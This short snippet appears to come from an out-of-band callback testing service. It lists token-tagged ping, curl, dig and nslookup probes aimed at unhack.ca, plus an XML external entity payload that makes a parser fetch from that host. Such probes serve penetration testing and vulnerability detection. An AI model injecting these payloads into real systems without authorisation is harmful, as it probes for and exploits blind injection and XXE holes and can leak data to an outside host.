$ ping -c1 -p 008c0ca3d55d5722233fecc91e95eb00 unhack.ca
 

$ curl http://unhack.ca/p/8c0ca3d55d5722233fecc91e95eb
 

$ dig 8c0ca3d55d5722233fecc91e95eb @unhack.ca
 

$ dig 8c0ca3d55d5722233fecc91e95eb.ns.unhack.ca
 

C:\> nslookup 8c0ca3d55d5722233fecc91e95eb unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8c0ca3d55d5722233fecc91e95eb">]>
    <foo>&xxe;</foo>